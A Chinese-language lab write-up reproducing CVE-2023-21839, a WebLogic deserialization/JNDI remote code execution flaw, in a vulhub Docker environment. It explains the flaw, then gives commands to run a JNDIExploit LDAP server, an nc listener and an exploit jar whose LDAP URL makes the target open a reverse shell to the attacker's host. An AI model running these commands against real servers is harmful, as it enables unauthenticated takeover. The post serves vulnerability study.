CVE-2023-21839:Weblogic反序列化漏洞复现

CVE-2023-21839:Weblogic反序列化漏洞复现

声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

在进行漏洞复现前简单描述一下什么是序列化和反序列化:
1、序列化和反序列化的定义:

(1)Java序列化就是指把Java对象转换为字节序列的过程

Java反序列化就是指把字节序列恢复为Java对象的过程。

(2)序列化最重要的作用:在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。

反序列化的最重要的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

总结:核心作用就是对象状态的保存和重建。(整个过程核心点就是字节流中所保存的对象状态及描述信息)

一.WebLogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

二.漏洞简述

CVE-2023-21839是Weblogic产品中的远程代码执行漏洞,由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功可能会导致Oracle Weblogic服务器被控制,远程注入操作系统命令或代码。

三.漏洞原理

T3/IIOP协议支持远程绑定对象bind到服务端,而且可以通过lookup代码c.lookup(“xxxxxx”); 查看。远程对象继承自OpaqueReference并lookup查看远程对象时,服务端会调用远程对象getReferent方法。由于weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并实现getReferent方法,存在retVal = context.lookup(this.remoteJNDIName)实现,所以能够通过RMI/LDAP远程协议进行远程命令执行。(也就是CVE-2023-21839允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致RCE漏洞。)

四.影响版本

Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0

五.环境搭建

在kali的docker中搭建vulhub进行漏洞复现
clone项目:

 sudo git clone https://github.com/vulhub/vulhub.git

CVE-2023-21839:Weblogic反序列化漏洞复现_第1张图片在/weblogic/CVE-2023-21839/目录,用下面的命令下载并启动:

sudo docker-compose up -d

CVE-2023-21839:Weblogic反序列化漏洞复现_第2张图片

搞定,查看环境:

sudo docker-compose ps

在这里插入图片描述
看到端口,这里是7001。

在浏览器上访问http://your-ip:7001/console

进入环境,说明配置成功了,接下来就可以开始愉快的漏洞复现了:

六.漏洞复现

1.使用工具JNDIExploit-1.2-SNAPSHOT.jar在kali上设置监听

这个工具是同时启动了http和ldap服务,使用jdk1.8.0_202启动

./java -jar /home/kali/JNDIExploit.v1.2/JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.107.129

注意:进入到jdk1.8.0_202的bin目录下执行./java
直接使用下面的地址下载java 1.8:
https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz

CVE-2023-21839:Weblogic反序列化漏洞复现_第3张图片2.在kali中使用nc工具进行端口的监听,用于接收反弹的shell
CVE-2023-21839:Weblogic反序列化漏洞复现_第4张图片
3.使用CVE-2023-21839工具来进行攻击测试
工具地址: https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839

使用命令如下:

./java -jar /home/kali/Weblogic-CVE-2023-21839.jar 127.0.0.1:7001 ldap://192.168.107.129:1389/Basic/ReverseShell/192.168.107.129/8888

注意:同样是进入到jdk1.8.0_202的bin目录下执行./java

在这里插入图片描述CVE-2023-21839:Weblogic反序列化漏洞复现_第5张图片
此时监听的攻击机已经收到了反弹的shell
CVE-2023-21839:Weblogic反序列化漏洞复现_第6张图片漏洞复现成功!!!

你可能感兴趣的:(漏洞复现,weblogic反序列漏洞,网络安全,系统安全)